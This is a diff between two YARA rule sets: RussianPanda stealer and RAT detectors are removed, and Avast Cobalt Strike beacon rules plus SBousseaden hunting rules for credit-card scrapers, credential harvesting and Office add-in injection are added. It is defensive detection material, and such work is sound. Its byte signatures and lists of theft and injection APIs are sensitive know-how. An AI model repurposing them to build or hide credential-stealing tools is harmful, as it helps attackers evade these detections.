-rule RUSSIANPANDA_Ghostgambit : FILE
+rule AVASTTI_Cobaltstrike_Beacon_X86
 {
 	meta:
-		description = "Detects GhostGambit dropper"
-		author = "RussianPanda"
-		id = "0348b9fa-59be-5f30-8ebc-f1e87cf98b07"
-		date = "2024-07-09"
-		modified = "2024-07-09"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/GhostGambit/GhostGambit.yar#L1-L14"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "6ffaafe6-2758-53e4-b5b8-6d8350baf428"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L615-L632"
 		license_url = "N/A"
-		hash = "2b16c68d9bafbd2ecf3634d991d7c794"
-		logic_hash = "419efbea3c347d0ec9365c0c21cccb6f229f8c42d22a2bcfdf14854e7f83aea1"
+		logic_hash = "e6328aae5954ac8e3914e65603813ba4f11d97ff91d08a1398e1f71740879463"
 		score = 75
-		quality = 85
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$s1 = "/code32" ascii wide
-		$s2 = "/reg32" ascii wide
-		$s3 = "ZhuDongFangYu.exe" ascii wide
-		$s4 = "/c ping -n 4 127.0.0.1 > nul && del" ascii wide
+		$h01 = { 4D 5A E8 00 00 00 00 5B 89 DF 52 45 55 89 E5 81 C3 ?? ?? ?? ?? FF D3 68 }
+		$h11 = { 00 01 00 01 00 02 ?? ?? 00 02 00 01 00 02 ?? ?? 00 }
+		$h12 = { 69 68 69 68 69 6B ?? ?? 69 6B 69 68 69 6B ?? ?? 69 }
+		$h13 = { 2E 2F 2E 2F 2E 2C ?? ?? 2E 2C 2E 2F 2E 2C ?? ?? 2E }
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		$h01 and any of ($h1*)
 }
-rule RUSSIANPANDA_Aurorastealer_March_2023
+rule AVASTTI_Cobaltstrike_Beacon_X64
 {
 	meta:
-		description = "Detects an unobfuscated AuroraStealer March update binary"
-		author = "RussianPanda"
-		id = "a115de7a-bff7-5bb0-b83f-f66a29bbcf3f"
-		date = "2023-03-23"
-		modified = "2023-05-05"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/AuroraStealer/Aurora_March_2023.yar#L1-L15"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "5d6d86ec-9e05-5596-b623-30f44c6f44db"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L634-L651"
 		license_url = "N/A"
-		logic_hash = "d74d2843a03e826f334ce3c5eb10cc2b43cfd832174769e5d067fb877abe13a0"
+		logic_hash = "7abf5f9a337c60944a52efcc7a16a768652c46843d2da3df2f946dd6e63f9375"
 		score = 75
-		quality = 85
+		quality = 90
 		tags = ""
 
 	strings:
-		$b1 = { 48 8D 0D ?? ?? 05 00 E8 ?? ?? EF FF }
-		$ftp = "FOUND FTP"
+		$h01 = { 4D 5A 41 52 55 48 89 E5 48 81 EC 20 00 00 00 48 8D 1D EA FF FF FF 48 89 }
+		$h11 = { 00 01 00 01 00 02 ?? ?? 00 02 00 01 00 02 ?? ?? 00 }
+		$h12 = { 69 68 69 68 69 6B ?? ?? 69 6B 69 68 69 6B ?? ?? 69 }
+		$h13 = { 2E 2F 2E 2F 2E 2C ?? ?? 2E 2C 2E 2F 2E 2C ?? ?? 2E }
 
 	condition:
-		all of them
+		$h01 and any of ($h1*)
 }
-rule RUSSIANPANDA_Aurorastealer_1
+rule AVASTTI_Cobaltstrike_Beacon_Encoded
 {
 	meta:
-		description = "Detects the Build/Group IDs if present / detects an unobfuscated AuroraStealer binary; tested on version 22.12.2022"
-		author = "RussianPanda"
-		id = "1a94096f-c838-5272-856e-42efbd123a31"
-		date = "2023-02-07"
-		modified = "2023-05-05"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/AuroraStealer/AuroraStealer.yar#L1-L16"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "497e2a32-015a-5786-a6fa-de7084bfc389"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L653-L703"
 		license_url = "N/A"
-		logic_hash = "7a9900266a0dfa7bf0ea91a0260a1d30bd7799a491fba87db083f4fea4115f2a"
-		score = 50
-		quality = 85
+		logic_hash = "f763c0c41a69c6bafb65517d20ef76242bf7b1626d6745d9a1c26772de3ffa26"
+		score = 75
+		quality = 68
 		tags = ""
 
 	strings:
-		$b1 = { 48 8D 0D ?? ?? 04 00 E8 ?? ?? EF FF }
-		$go = "Go build ID"
-		$machineid = "MachineGuid"
+		$s01 = "0x4d, 0x5a, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x5b, 0x89, 0xdf, 0x52, 0x45, 0x55, 0x89, 0xe5, 0x81" ascii wide nocase
+		$s02 = "0x4d,0x5a,0xe8,0x00,0x00,0x00,0x00,0x5b,0x89,0xdf,0x52,0x45,0x55,0x89,0xe5,0x81" ascii wide nocase
+		$s03 = "0x4d, 0x5a, 0x41, 0x52, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x81, 0xec, 0x20, 0x00, 0x00, 0x00, 0x48" ascii wide nocase
+		$s04 = "0x4d,0x5a,0x41,0x52,0x55,0x48,0x89,0xe5,0x48,0x81,0xec,0x20,0x00,0x00,0x00,0x48" ascii wide nocase
+		$s05 = "4d5ae8000000005b89df52455589e581" ascii wide nocase
+		$s06 = "4d 5a e8 00 00 00 00 5b 89 df 52 45 55 89 e5 81" ascii wide nocase
+		$s07 = "4d5a4152554889e54881ec2000000048" ascii wide nocase
+		$s08 = "4d 5a 41 52 55 48 89 e5 48 81 ec 20 00 00 00 48" ascii wide nocase
+		$s09 = "TVroAAAAAFuJ31JFVYnlg" ascii wide
+		$s10 = "TVpBUlVIieVIgewgAAAAS" ascii wide
+		$s11 = "bnnLIyMjI3iq/HFmdqrGo" ascii wide
+		$s12 = "bnlicXZrqsZros8DIyMja" ascii wide
+		$s13 = "TQBaAOgAAAAAAAAAAABbAIkA3wBSAEUAVQCJAOUAg" ascii wide
+		$s14 = "TQBaAEEAUgBVAEgAiQDlAEgAgQDsACAAAAAAAAAAS" ascii wide
+		$s15 = "biN5I2IjcSN2I2sjqiPGI2sjoiPPIwMjIyMjIyMja" ascii wide
+		$s16 = "biN5I8sjIyMjIyMjIyN4I6oj/CNxI2YjdiOqI8Yjo" ascii wide
+		$s17 = "Array(77,90,-24,0,0,0,0,91,-119,-33,82,69,85,-119,-27,-127" ascii wide
+		$s18 = "Array(77, 90, -24, 0, 0, 0, 0, 91, -119, -33, 82, 69, 85, -119, -27, -127" ascii wide
+		$s19 = "Array(77,90,65,82,85,72,-119,-27,72,-127,-20,32,0,0,0,72" ascii wide
+		$s20 = "Array(77, 90, 65, 82, 85, 72, -119, -27, 72, -127, -20, 32, 0, 0, 0, 72" ascii wide
+		$s21 = "MZ\"&Chr(-27)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(91)&Chr(-119)&Chr(-33)&\"REU\"&Chr(-119)&Chr(-27)&Chr(-127)" ascii wide
+		$s22 = "MZARUH\"&Chr(-119)&Chr(-27)&\"H\"&Chr(-127)&Chr(-20)&Chr(32)&Chr(0)&Chr(0)&Chr(0)&\"H" ascii wide
+		$s23 = "\\x4d\\x5a\\xe8\\x00\\x00\\x00\\x00\\x5b\\x89\\xdf\\x52\\x45\\x55\\x89\\xe5\\x81" ascii wide nocase
+		$s24 = "\\x4d\\x5a\\x41\\x52\\x55\\x48\\x89\\xe5\\x48\\x81\\xec\\x20\\x00\\x00\\x00\\x48" ascii wide nocase
 
 	condition:
-		all of them
+		any of them
 }
-rule RUSSIANPANDA_Mal_Xred_Backdoor : FILE
+rule AVASTTI_Cobaltstrike_Beacon_Xored_X86
 {
 	meta:
-		description = "Detects XRed backdoor"
-		author = "RussianPanda"
-		id = "61f5fcb8-9351-5db0-8bce-123c96d2a443"
-		date = "2024-02-09"
-		modified = "2024-02-09"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/XRed_Backdoor/mal_xred_backdoor.yar#L1-L18"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "d93c20e6-3e01-5132-88a0-63ace507cae9"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L705-L726"
 		license_url = "N/A"
-		hash = "9e1fbae3a659899dde8db18a32daa46a"
-		logic_hash = "36d138a0efade1d5c075662dc528235fe66b49879730db78c4c7290fec7420b5"
+		logic_hash = "1415c8ab5b4ddd6eb0f561b570358f04f967621dfc6274e0380879563b612c27"
 		score = 75
-		quality = 73
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$s1 = {4B 65 79 62 6F 61 72 64 20 48 6F 6F 6B 20 2D 3E 20 41 63 74 69 76 65}
-		$s2 = {54 43 50 20 43 6C 69 65 6E 74 20 2D 3E 20 41 6B 74 69 66}
-		$s3 = {55 53 42 20 48 6F 6F 6B 73 20 2D 3E 20 41 63 74 69 76 65}
-		$s4 = {45 58 45 55 52 4C 31}
-		$s5 = {49 4E 49 55 52 4C 33}
-		$s6 = {58 52 65 64 35 37}
+		$h01 = { FC E8??000000 [0-32] EB27 ?? 8B?? 83??04 8B?? 31?? 83??04 ?? 8B?? 31?? 89?? 31?? 83??04 83??04 31?? 39?? 7402 EBEA ?? FF?? E8D4FFFFFF }
+		$h02 = { FC E8??000000 [0-32] EB2B ?? 8B??00 83C504 8B??00 31?? 83C504 55 8B??00 31?? 89??00 31?? 83C504 83??04 31?? 39?? 7402 EBE8 ?? FF?? E8D0FFFFFF }
+		$h11 = { 7402 EB(E8|EA) ?? FF?? E8(D0|D4)FFFFFF }
 
 	condition:
-		uint16(0)==0x5A4D and 3 of them
+		any of ($h0*) and ( uint32be(@h11+12)^ uint32be(@h11+20)==0x4D5AE800 or uint32be(@h11+12)^ uint32be(@h11+20)==0x904D5AE8 or uint32be(@h11+12)^ uint32be(@h11+20)==0x90904D5A or uint32be(@h11+12)^ uint32be(@h11+20)==0x9090904D or uint32be(@h11+12)^ uint32be(@h11+20)==0x90909090)
 }
-rule RUSSIANPANDA_Darkvnc : FILE
+rule AVASTTI_Cobaltstrike_Beacon_Xored_X64
 {
 	meta:
-		description = "Detects DarkVNC"
-		author = "RussianPanda"
-		id = "dbc86ac8-5ea3-59a7-b3ab-68c603165720"
-		date = "2024-01-15"
-		modified = "2024-01-15"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/DarkVNC/darkvnc.yar#L1-L15"
+		description = "No description has been set in the source file - AvastTI"
+		author = "Avast Threat Intel Team"
+		id = "15be610a-7552-5473-8da2-639220313783"
+		date = "2021-07-08"
+		modified = "2021-07-08"
+		reference = "https://github.com/avast/ioc"
+		source_url = "https://github.com/avast/ioc/blob/b48f810c87e91f39068b28dee63bea4014e62aaa/CobaltStrike/yara_rules/cs_rules.yar#L728-L746"
 		license_url = "N/A"
-		hash = "3c74dccd06605bcf527ffc27b3122959"
-		logic_hash = "1dd1246e0b22181706433f0cff9b231017e747d8faaa2db4cb9adefeab492ab7"
+		logic_hash = "11e6c8be28325d42f24fb5bb43c0b5fd35990a46857bae7c9940262a33c02a8c"
 		score = 75
-		quality = 85
-		tags = "FILE"
+		quality = 90
+		tags = ""
 
 	strings:
-		$s1 = {66 89 84 24 ?? 00 00 00 B8 ?? 00 00 00}
-		$s2 = {66 31 14 41 48}
-		$s3 = "VncStopServer"
-		$s4 = "VncStartServer"
+		$h01 = { FC 4883E4F0 EB33 5D 8B4500 4883C504 8B4D00 31C1 4883C504 55 8B5500 31C2 895500 31D0 4883C504 83E904 31D2 39D1 7402 EBE7 58 FC 4883E4F0 FFD0 E8C8FFFFFF }
+		$h11 = { FC 4883E4F0 FFD0 E8C8FFFFFF }
 
 	condition:
-		uint16(0)==0x5A4D and 3 of them and filesize <700KB
+		$h01 and ( uint32be(@h11+12)^ uint32be(@h11+20)==0x4D5A4152 or uint32be(@h11+12)^ uint32be(@h11+20)==0x904D5A41 or uint32be(@h11+12)^ uint32be(@h11+20)==0x90904D5A or uint32be(@h11+12)^ uint32be(@h11+20)==0x9090904D or uint32be(@h11+12)^ uint32be(@h11+20)==0x90909090)
 }
-rule RUSSIANPANDA_PSWSTEALER : FILE
+/*
+ * YARA Rule Set
+ * Repository Name: SBousseaden
+ * Repository: https://github.com/sbousseaden/YaraHunts/
+ * Retrieval Date: 2024-09-01
+ * Git Commit: 71b27a2a7c57c2aa1877a11d8933167794e2b4fb
+ * Number of Rules: 36
+ * Skipped: 0 (age), 4 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * NO LICENSE SET
+ */
+import "pe"
+
+rule SBOUSSEADEN_Gosliver
 {
 	meta:
-		description = "PSWSTEALER"
-		author = "RussianPanda"
-		id = "8a596074-ffe3-5979-b384-487ebe8b953c"
-		date = "2023-04-02"
-		modified = "2023-05-05"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/PSWSTEALER/pswstealer.yar#L1-L14"
+		description = "No description has been set in the source file - SBousseaden"
+		author = "SBousseaden"
+		id = "eba5043a-ca4d-5c5d-a895-51218b03e59e"
+		date = "2020-10-11"
+		modified = "2020-10-11"
+		reference = "https://github.com/BishopFox/sliver"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_sliver_go_framwwork.yara#L2-L9"
 		license_url = "N/A"
-		logic_hash = "7d85b0ccaa07419f22b9f38a4bc66435cd689b21fa7e4584ef8bea485b6bd2c1"
+		logic_hash = "8dc96e533adc29c78a998d9f064ff294d2ef8a4ff00cef8b0c81ef465ef70b08"
 		score = 75
-		quality = 85
-		tags = "FILE"
+		quality = 75
+		tags = ""
 
 	strings:
-		$obf = {09 20 FF [3] 5F 06 25 17 58 0A 61 1E 62 09 1E 63 06 25 17 58 0A 61 D2 60 D1 9D}
-		$obf1 = {09 06 08 59 61 D2 13 04 09 1E 63 08 61 D2 13 05 07 08 11 05 1E 62 11 04 60 D1 9D 08 17 58 0C}
-		$enc = {73 ?? 00 00 0A 73 ?? 00 00 0A}
-		$s = {73 ?? 00 00 0A 0C 08 6F ?? 00 00 0A}
+		$go = "_cgo_"
 
 	condition:
-		all of them and filesize <200KB
+		#go>10 and pe.exports("RunSliver")
 }
-rule RUSSIANPANDA_Zharkbot : FILE
+rule SBOUSSEADEN_Hunt_Common_Credit_Card_Memscrapper : FILE
 {
 	meta:
-		description = "Detects ZharkBot"
-		author = "RussianPanda"
-		id = "54213d76-7e27-559d-b653-5390a0c6813c"
-		date = "2024-01-21"
-		modified = "2024-03-12"
-		reference = "https://x.com/ViriBack/status/1749184882822029564?s=20"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/ZharkBot/zharkbot.yar#L1-L15"
+		description = "Hunting rule for possible CC data memory scrapper"
+		author = "SBousseaden"
+		id = "f342535f-2236-5da0-8a4d-d7fecb7737b8"
+		date = "2020-07-17"
+		modified = "2020-07-18"
+		reference = "https://github.com/sbousseaden/YaraHunts/"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_creditcard_memscrap.yara#L1-L28"
 		license_url = "N/A"
-		hash = "d53ce8c0a8a89c2e3eb080849da8b1c47eaac614248fc55d03706dd5b4e10bdd"
-		logic_hash = "ffaec6b19dd4385cd1bc156fdfde39a356367c7fba4135c48a8de62a18a78576"
-		score = 75
-		quality = 85
+		logic_hash = "983cc0c93dd19b32f729540dcc691b3a01ead8ed916e3ef5259456f5e25bd009"
+		score = 50
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$s1 = {F7 EA C1 FA 04 8B C2 C1 E8 1F 03 C2 8B 55 ?? 0F BE C0 8A CA 6B C0 ?? 2A C8 80 C1}
-		$s2 = {F7 E2 C1 EA 04 0F BE C2 8B 55 ?? 8A CA 6B C0 ?? 2A C8 80 C1 ?? 30 8C 15}
+		$api1 = "NtOpenProcess"
+		$api2 = "NtQueryVirtualMemory"
+		$api3 = "NtReadVirtualMemory"
+		$cc1 = "^3[47][0-9]{13}$"
+		$cc2 = "^(6541|6556)[0-9]{12}$"
+		$cc3 = "^389[0-9]{11}$"
+		$cc4 = "^3(?:0[0-5]|[68][0-9])[0-9]{11}$"
+		$cc5 = "^65[4-9][0-9]{13}|64[4-9][0-9]{13}|6011[0-9]{12}|(622(?:12[6-9]|1[3-9][0-9]|[2-8][0-9][0-9]|9[01][0-9]|92[0-5])[0-9]{10})$"
+		$cc6 = "^63[7-9][0-9]{13}$"
+		$cc7 = "^(?:2131|1800|35\\d{3})\\d{11}$"
+		$cc8 = "^9[0-9]{15}$"
+		$cc9 = "^(6304|6706|6709|6771)[0-9]{12,15}$"
+		$cc10 = "^(5018|5020|5038|6304|6759|6761|6763)[0-9]{8,15}$"
+		$cc11 = "^(5[1-5][0-9]{14}|2(22[1-9][0-9]{12}|2[3-9][0-9]{13}|[3-6][0-9]{14}|7[0-1][0-9]{13}|720[0-9]{12}))$"
+		$cc12 = "^(6334|6767)[0-9]{12}|(6334|6767)[0-9]{14}|(6334|6767)[0-9]{15}$"
+		$cc13 = "^(4903|4905|4911|4936|6333|6759)[0-9]{12}|(4903|4905|4911|4936|6333|6759)[0-9]{14}|(4903|4905|4911|4936|6333|6759)[0-9]{15}|564182[0-9]{10}|564182[0-9]{12}|564182[0-9]{13}|633110[0-9]{10}|633110[0-9]{12}|633110[0-9]{13}$"
+		$cc14 = "^(62[0-9]{14,17})$"
+		$cc15 = "^4[0-9]{12}(?:[0-9]{3})?$"
+		$cc16 = "^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14})$"
 
 	condition:
-		uint16(0)==0x5A4D and #s1>3 and #s2>3 and filesize <500KB
+		uint16(0)==0x5a4d and 1 of ($cc*) and all of ($api*)
 }
-rule RUSSIANPANDA_Jinxloader : FILE
+rule SBOUSSEADEN_Hunt_Evtmutehook_Memory
 {
 	meta:
-		description = "Detects JinxLoader Golang version"
-		author = "RussianPanda"
-		id = "25570c99-5938-5be0-a153-a07be0d0571c"
-		date = "2024-01-02"
-		modified = "2024-01-02"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/JinxLoader/JinxLoader-1-2-2024.yar#L1-L16"
+		description = "memory hunt for default wevtsv EtwEventCallback hook pattern to apply to eventlog svchost memory dump"
+		author = "SBousseaden"
+		id = "5326581e-90d9-59b9-8dc5-74df97571600"
+		date = "2020-09-05"
+		modified = "2020-09-05"
+		reference = "https://blog.dylan.codes/pwning-windows-event-logging/"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_memory_evtmutehook.yara#L1-L11"
 		license_url = "N/A"
-		hash = "6bd7ff5d764214f239af2bb58b368308c2d04f1147678c2f638f37a893995f71"
-		logic_hash = "13dee435fb4d40c629c0a30b6f655b87f14b10a6f6acf61d00e6c692c9bb0ff1"
-		score = 75
-		quality = 81
-		tags = "FILE"
+		logic_hash = "3db66069ed67d90031a6fe071dad4d0200ddd661b263dd2860df026673031e48"
+		score = 50
+		quality = 75
+		tags = ""
 
 	strings:
-		$s1 = {72 75 6E 74 69 6D 65 2E 67 6F 70 61 6E 69 63}
-		$s2 = {48 8D 05 4D 6E 07 00 BB 0A 00 00 00}
-		$s3 = {73 65 6C 66 5F 64 65 73 74 72 75 63 74 2E 62 61 74}
-		$s4 = {48 8D 1D B7 24 08 00 [25] E8 EF FC E4 FF}
+		$a = {49 BB ?? ?? ?? ?? ?? ?? ?? ?? 41 FF E3 54 24 20 4C 8B 05 61 CB 1A 00 0F 57 C0 66 0F 7F 44 24 20 E8 5B 0A 00 00 48 83 C4 38 C3}
+		$b = {48 83 EC 38 4C 8B 0D 65 CB 1A 00 48 8D 54 24 20 4C 8B 05 61 CB 1A 00 0F 57 C0 66 0F 7F 44 24 20 E8 5B 0A 00 00 48 83 C4 38 C3}
 
 	condition:
-		uint16(0)==0x5A4D and all of ($s*) and filesize <9MB
+		$a and not $b
 }
-rule RUSSIANPANDA_Win_Mal_Xworm : FILE
+import "pe"
+
+rule SBOUSSEADEN_Susp_Msoffice_Addins_Wxll : FILE
 {
 	meta:
-		description = "Detects XWorm RAT"
-		author = "RussianPanda"
-		id = "5701f382-3c97-5a00-9673-6c39b0f11cc2"
-		date = "2024-03-11"
-		modified = "2024-03-11"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/XWorm/win_mal_XWorm.yar#L1-L15"
+		description = "hunt for suspicious MS Office Addins with code injection capabilities"
+		author = "SBousseaden"
+		id = "39d3b2af-f848-51c0-a13b-13c0fe3a79dd"
+		date = "2020-11-10"
+		modified = "2023-03-27"
+		reference = "https://twitter.com/JohnLaTwC/status/1315287078855352326"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_susp_msoffice_addins_wxll.yara#L3-L29"
 		license_url = "N/A"
-		hash = "fc422800144383ef6e2e0eee37e7d6ba"
-		logic_hash = "c42544285517dc61628e8df2ee5ab6733924fbb2cc08b9b2df273eec0a401d90"
-		score = 75
-		quality = 85
+		logic_hash = "130a0292b16e934311597d4f91456e6a605477e306a7b1d8171cc4e13794db31"
+		score = 65
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$s1 = {4D 00 6F 00 64 00 69 00 66 00 69 00 65 00 64 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 66 00 75 00 6C 00 6C 00 79 00 21}
-		$s2 = {50 00 6C 00 75 00 67 00 69 00 6E 00 73 00 20 00 52 00 65 00 6D 00 6F 00 76 00 65 00 64 00 21}
-		$s3 = {73 00 65 00 6E 00 64 00 50 00 6C 00 75 00 67 00 69 00 6E}
-		$s4 = {4D 00 6F 00 64 00 69 00 66 00 69 00 65 00 64 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 66 00 75 00 6C 00 6C 00 79 00 21}
-		$s5 = "_CorExeMain"
+		$inj1 = "WriteProcessMemory"
+		$inj2 = "NtWriteVirtualMemory"
+		$inj3 = "RtlMoveMemory"
+		$inj4 = "VirtualAllocEx"
+		$inj5 = "NtAllocateVirtualMemory"
+		$inj6 = "NtUnmapViewOfSection"
+		$inj7 = "VirtualProtect"
+		$inj8 = "NtProtectVirtualMemory"
+		$inj9 = "SetThreadContext"
+		$inj10 = "NtSetContextThread"
+		$inj11 = "ResumeThread"
+		$inj12 = "NtResumeThread"
+		$inj13 = "QueueUserAPC"
+		$inj14 = "NtQueueApcThread"
+		$inj15 = "NtQueueApcThreadEx"
+		$inj16 = "CreateRemoteThread"
+		$inj17 = "NtCreateThreadEx"
+		$inj18 = "RtlCreateUserThread"
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		uint16(0)==0x5a4d and (pe.exports("wdAutoOpen") or pe.exports("xlAutoOpen")) and 3 of ($inj*)
 }
-rule RUSSIANPANDA_Prysmax_Stealer : FILE
+rule SBOUSSEADEN_Shad0W_Beacon_16June : FILE
 {
 	meta:
-		description = "Detects Prysmax Stealer"
-		author = "RussianPanda"
-		id = "97ab92b8-1771-5881-9cd1-d8ff76b8f380"
-		date = "2024-01-09"
-		modified = "2024-01-10"
-		reference = "https://www.cyfirma.com/outofband/new-maas-prysmax-launches-fully-undetectable-infostealer/"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/Prysmax Stealer/prysmax_stealer.yar#L1-L21"
+		description = "Shad0w beacon compressed"
+		author = "SBousseaden"
+		id = "1229e84f-bf6e-5e87-9351-a48cd50397b0"
+		date = "2020-06-16"
+		modified = "2020-06-17"
+		reference = "https://github.com/bats3c/shad0w"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/shad0w_beacon_16June.yara#L1-L13"
 		license_url = "N/A"
-		logic_hash = "869eee7dd5209bdea98c248791b9ac911e3daabe6d440aa62aecefa43539a41c"
+		logic_hash = "c313e995d6eaae6d2ee63964f6fc94964065af7a61d7f304280d914e6f0dd548"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$a1 = {23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23}
-		$s2 = {73 70 72 79 73 6D 61 78}
-		$s3 = {56 43 52 55 4E 54 49 4D 45 31 34 30 2E 64 6C 6C}
-		$s4 = {56 43 52 55 4E 54 49 4D 45 31 34 30 5F 31 2E 64 6C 6C}
-		$s5 = {4D 53 56 43 50 31 34 30 2E 64 6C 6C}
-		$s6 = {50 79 49 6E 73 74 61 6C 6C 65 72}
+		$s1 = {F2 AE ?? ?? ?? FF 15 ?? ?? 00 00 48 09 C0 74 09}
+		$s2 = {33 2E 39 36 00 ?? ?? ?? 21 0D 24 0E 0A}
+		$s3 = "VirtualProtect"
+		$s4 = "GetProcAddress"
 
 	condition:
-		all of ($s*) and uint16(0)==0x5A4D and $a1 in (9600000.. filesize ) and #a1>600 and filesize >60MB and filesize <200MB
+		uint16(0)==0x5a4d and all of ($s*)
 }
-rule RUSSIANPANDA_Mal_Asuka_Stealer : FILE
+rule SBOUSSEADEN_Mem_Webcreds_Regexp_Xor
 {
 	meta:
-		description = "Detects AsukaStealer"
-		author = "RussianPanda"
-		id = "a718be5f-dc76-5610-9237-038a9719d7e5"
-		date = "2024-02-02"
-		modified = "2024-03-18"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/AsukaStealer/mal_asuka_stealer.yar#L1-L12"
+		description = "No description has been set in the source file - SBousseaden"
+		author = "SBousseaden"
+		id = "38087b99-5f64-58c0-b3dc-51c7981912e7"
+		date = "2020-03-08"
+		modified = "2020-12-28"
+		reference = "https://github.com/orlyjamie/mimikittenz/blob/master/Invoke-mimikittenz.ps1"
+		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L3-L22"
 		license_url = "N/A"
-		logic_hash = "7974e0de821ddcafd4f00b27d587108f0d80f8a231dd0db4d2be4fa6ab44fef4"
-		score = 75
-		quality = 85
-		tags = "FILE"
+		logic_hash = "0ecc15dd51807ccd1c35b5a6152aa16714d8a14889524163a421f79becd6a775"
+		score = 60
+		quality = 45
+		tags = ""
 
 	strings:
-		$s1 = {32 14 3E E8 F6 81 00 00}
-		$s2 = {00 58 00 2D 00 43 00 6F 00 6E 00 66 00 69 00 67}
-		$s3 = {58 00 2D 00 49 00 6E 00 66 00 6F}
+		$p1 = "&password=" xor
+		$p2 = "&login_password=" xor
+		$p3 = "&pass=" xor
+		$p4 = "&Passwd=" xor
+		$p5 = "&PersistentCookie=" xor
+		$p6 = "password%5D=" xor
+		$u1 = "&username=" xor
+		$u2 = "&email=" xor
+		$u3 = "login=" xor
+		$u4 = "login_email=" xor
+		$u5 = "user%5Bemail%5D=" xor
+		$reg = ".{1," xor
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		3 of ($p*) and 3 of ($u*) and #reg>3
 }
-rule RUSSIANPANDA_Vidar_DLL_Embedded
+rule SBOUSSEADEN_Webcreds_Regexp_B64
 {
 	meta:
-		description = "Vidar Stealer with embedded DLL dependencies"
-		author = "RussianPanda"
-		id = "462fe42a-2504-5e7e-ad90-2c7e54478204"
-		date = "2023-05-02"
-		modified = "2023-05-05"
-		reference = "https://github.com/RussianPanda95/Yara-Rules"
-		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/287193355da5f0e594bfdb738c9999faed0fc4dd/VidarStealer/vidar_ver3.6_3.7_dll_embedded.yar#L1-L21"
+		description = "No description has been set in the source file - SBousseaden"
+		author = "SBousseaden"
+		id = "85283a81-5bc3-5e3f-89f6-bcc1f40f3dc2"
+		date = "2020-03-08"
+		modified = "2020-12-28"
